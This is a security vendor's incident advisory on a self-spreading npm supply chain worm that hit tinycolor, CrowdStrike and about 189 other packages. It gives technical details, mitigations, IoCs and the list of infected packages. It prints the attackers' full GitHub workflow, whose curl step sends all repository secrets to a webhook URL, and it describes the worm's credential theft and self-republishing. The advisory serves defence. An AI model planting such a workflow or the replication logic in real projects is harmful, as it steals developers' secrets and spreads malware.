By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog
Glossary
Customer Story
Video
eBook / Report
Solution Brief

npm Malware Outbreak: Tinycolor and CrowdStrike Packages Compromised

⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.

⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.

⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.

Written by
Henrik Plate
Henrik Plate
Published on
September 16, 2025

⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.

⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.

⚠️ This is an ongoing incident: This supply chain attack is still unfolding. Our immediate priority is supporting customers with clear communication and actionable guidance. As it stands, no Endor Labs customers have been affected. In the interest of extra caution, our engineering team has suspended any use of npm install until further notice for all our internal systems and developers laptops. We will continue to update this post as new details and mitigation steps become available.

TL;DR

Starting Sep 15, several packages with malicious code have been published on npm, including packages from Crowdstrike and the popular npm package @ctrl/tinycolor, which has millions of downloads. So far, more than 180 packages have been identified.

What makes this supply chain attack different from previous ones is that the code spreads like a virus to other packages–which get published on npm using the npm credentials of compromised developers.

The spreading of the virus is still on-going, and organizations should take immediate actions to prevent being infected.

At the time of writing, not all of the malicious packages have been taken down, i.e. there is imminent risk of being infected by the malware.

Technical Details

The malicious code of infected packages is contained in the Webpack-minified script bundle.js, as large as 3.7 MB and automatically executed using an installation hook. At high-level, the script comprises two main functionalities:

  1. It searches for and exfiltrates secrets both on the infected system and GitHub repositories associated with compromised developers.
  2. It replicates itself in other npm packages maintained by compromised developers.

The search for secrets on the developer system is done by dumping environment variables, which is pretty common for malicious packages. More interestingly, it also downloads and runs Trufflehog, a well-known secret scanner, to search for credentials.

In order to search for secrets on GitHub, it uses a GitHub personal access token (PAT) to enumerate repositories that meet certain criteria, and create a workflow file .github/workflows/shai-hulud-workflow.yml in each one of them in a new branch called shai-hulud. This workflow file uses the built-in function toJSON to capture all repository secrets in the environment variable CONTENTS, which is extracted to a Webhook. The complete workflow file looks as follows (with the Webhook URL being escaped).

on:
 push:
jobs:
 process:
   runs-on: ubuntu-latest
   steps:
   - name: Data Processing
     run: curl -d "$CONTENTS" https[://]webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
     env:
       CONTENTS: ${{ toJSON(secrets) }}

The replication logic of the virus takes advantage of valid npm tokens present on the infected system in order to download other packages of the maintainer, add the malicious payload and upload a new compromised version to npm.

This approach helps spread malware across the whole npm ecosystem–a scenario that was described as early as 2016.

Mitigation

The blast radius of this supply chain attack is yet unknown, and it will take some time to identify and remove all the infected versions from the registry.

Packages and package versions identified so far are mentioned in the section below, and will be updated on a regular basis.

To protect your developers and CI/CD systems from downloading and executing the malware, you can:

  • Make sure that your npm applications use lockfiles pinned to known-good versions. 
  • Clean caches on developer systems and in internal registries.
  • Use cooldown options where available, which prevent upgrading to (or downloading) versions that have been published in the last few days (see the corresponding announcement for Dependabot).
  • Aggressive/Minimize Security Risk: Stop all usage of npm in CI/CD pipelines and notify developers about the risks. 

To understand whether you have been compromised, you can:

  • Search the local filesystem for package-lock.json files that reference any of the infected package versions (see below for a full list).
  • Search logs for any of the following IoCs:
    • https[://]webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
    • SHA-256 of bundle.js: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

If you publish npm packages on public or private registries, you can detect / prevent the spreading of the virus:

  • Search logs and registries to understand whether new package versions have been published after Sep 15, 00:00 UTC.
  • If yes, check whether the package deviates suspiciously from previous versions, e.g., in terms of build attestations, the presence of matching version tags in the corresponding Git repository, etc.
  • The tarballs of published packages can be checked as follows for malicious code:

    • Does package.json contain an install hook “postinstall": "node bundle.js”?
    • Does the file bundle.js exist in the root directory of the tarball, with the SHA-256 indicated above?

  • As an aggressive approach to minimize security risk, restrict the publication of new packages, e.g., by temporarily revoking publishing permissions from npm teams or npm accounts.

List of compromised packages

The following table contains a list of 189 known-infected packages:

@ahmedhfarag/ngx-perfect-scrollbar

@ahmedhfarag/ngx-virtual-scroller

@art-ws/common

@art-ws/config-eslint

@art-ws/config-ts

@art-ws/db-context

@art-ws/di

@art-ws/di-node

@art-ws/eslint

@art-ws/fastify-http-server

@art-ws/http-server

@art-ws/openapi

@art-ws/package-base

@art-ws/prettier

@art-ws/slf

@art-ws/ssl-info

@art-ws/web-app

@crowdstrike/commitlint

@crowdstrike/falcon-shoelace

@crowdstrike/foundry-js

@crowdstrike/glide-core

@crowdstrike/logscale-dashboard

@crowdstrike/logscale-file-editor

@crowdstrike/logscale-parser-edit

@crowdstrike/logscale-search

@crowdstrike/tailwind-toucan-base

@ctrl/deluge: 7.2.2

@ctrl/golang-template: 1.4.3

@ctrl/magnet-link: 4.0.4

@ctrl/ngx-codemirror: 7.0.2

@ctrl/ngx-csv: 6.0.2

@ctrl/ngx-emoji-mart: 9.2.2

@ctrl/ngx-rightclick: 4.0.2

@ctrl/qbittorrent: 9.7.2

@ctrl/react-adsense: 2.0.2

@ctrl/shared-torrent: 6.3.2

@ctrl/tinycolor: 4.1.1, @4.1.2

@ctrl/torrent-file: 4.1.2

@ctrl/transmission: 7.3.1

@ctrl/ts-base32: 4.0.2

@hestjs/core

@hestjs/cqrs

@hestjs/demo

@hestjs/eslint-config

@hestjs/logger

@hestjs/scalar

@hestjs/validation

@nativescript-community/arraybuffers

@nativescript-community/gesturehandler: 2.0.35

@nativescript-community/perms

@nativescript-community/sentry 4.6.43

@nativescript-community/sqlite

@nativescript-community/text: 1.6.13

@nativescript-community/typeorm

@nativescript-community/ui-collectionview: 6.0.6

@nativescript-community/ui-document-picker

@nativescript-community/ui-drawer: 0.1.30

@nativescript-community/ui-image: 4.5.6

@nativescript-community/ui-label

@nativescript-community/ui-material-bottom-navigation

@nativescript-community/ui-material-bottomsheet: 7.2.72

@nativescript-community/ui-material-core: 7.2.76

@nativescript-community/ui-material-core-tabs: 7.2.76

@nativescript-community/ui-material-ripple

@nativescript-community/ui-material-tabs

@nativescript-community/ui-pager

@nativescript-community/ui-pulltorefresh

@nexe/config-manager

@nexe/eslint-config

@nexe/logger

@nstudio/angular

@nstudio/focus

@nstudio/nativescript-checkbox

@nstudio/nativescript-loading-indicator

@nstudio/ui-collectionview

@nstudio/web

@nstudio/web-angular

@nstudio/xplat

@nstudio/xplat-utils

@operato/board

@operato/data-grist

@operato/graphql

@operato/headroom

@operato/help

@operato/i18n

@operato/input

@operato/layout

@operato/popup

@operato/pull-to-refresh

@operato/shell

@operato/styles

@operato/utils

@teselagen/bounce-loader

@teselagen/liquibase-tools

@teselagen/range-utils

@teselagen/react-list

@teselagen/react-table

@thangved/callback-window

@things-factory/attachment-base

@things-factory/auth-base

@things-factory/email-base

@things-factory/env

@things-factory/integration-base

@things-factory/integration-marketplace

@things-factory/shell

@tnf-dev/api

@tnf-dev/core

@tnf-dev/js

@tnf-dev/mui

@tnf-dev/react

@ui-ux-gang/devextreme-angular-rpk

@yoobic/design-system

@yoobic/jpeg-camera-es6

@yoobic/yobi

airchief

airpilot

angulartics2: 14.1.2

browser-webdriver-downloader

capacitor-notificationhandler

capacitor-plugin-healthapp

capacitor-plugin-ihealth

capacitor-plugin-vonage

capacitorandroidpermissions

config-cordova

cordova-plugin-voxeet2

cordova-voxeet

create-hest-app

db-evo

devextreme-angular-rpk

ember-browser-services

ember-headless-form

ember-headless-form-yup

ember-headless-table

ember-url-hash-polyfill

ember-velcro

encounter-playground: 0.0.5

eslint-config-crowdstrike

eslint-config-crowdstrike-node

eslint-config-teselagen

globalize-rpk

graphql-sequelize-teselagen

html-to-base64-image

json-rules-engine-simplified: 0.2.4, 0.2.1

jumpgate

koa2-swagger-ui: 5.11.2, 5.11.1

mcfly-semantic-release

mcp-knowledge-base

mcp-knowledge-graph

mobioffice-cli

monorepo-next

mstate-angular

mstate-cli

mstate-dev-react

mstate-react

ng2-file-upload

ngx-bootstrap

ngx-color: 10.0.2

ngx-toastr: 19.0.2

ngx-trend: 8.0.1

ngx-ws

oradm-to-gql

oradm-to-sqlz

ove-auto-annotate

pm2-gelf-json

printjs-rpk

react-complaint-image: 0.0.35

react-jsonschema-form-conditionals: 0.3.21

react-jsonschema-form-extras: 1.0.4

remark-preset-lint-crowdstrike

rxnt-authentication: 0.0.6

rxnt-healthchecks-nestjs: 1.0.5

rxnt-kue: 1.0.7

swc-plugin-component-annotate: 1.9.2

tbssnch

teselagen-interval-tree

tg-client-query-builder

tg-redbird

tg-seq-gen

thangved-react-grid

ts-gaussian: 3.0.6

ts-imports

tvi-cli

ve-bamreader

ve-editor

verror-extra

voip-callkit

wdio-web-reporter

yargs-help-output

yoo-styles

Find out More

The Challenge

The Solution

The Impact

Welcome to the resistance
Oops! Something went wrong while submitting the form.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.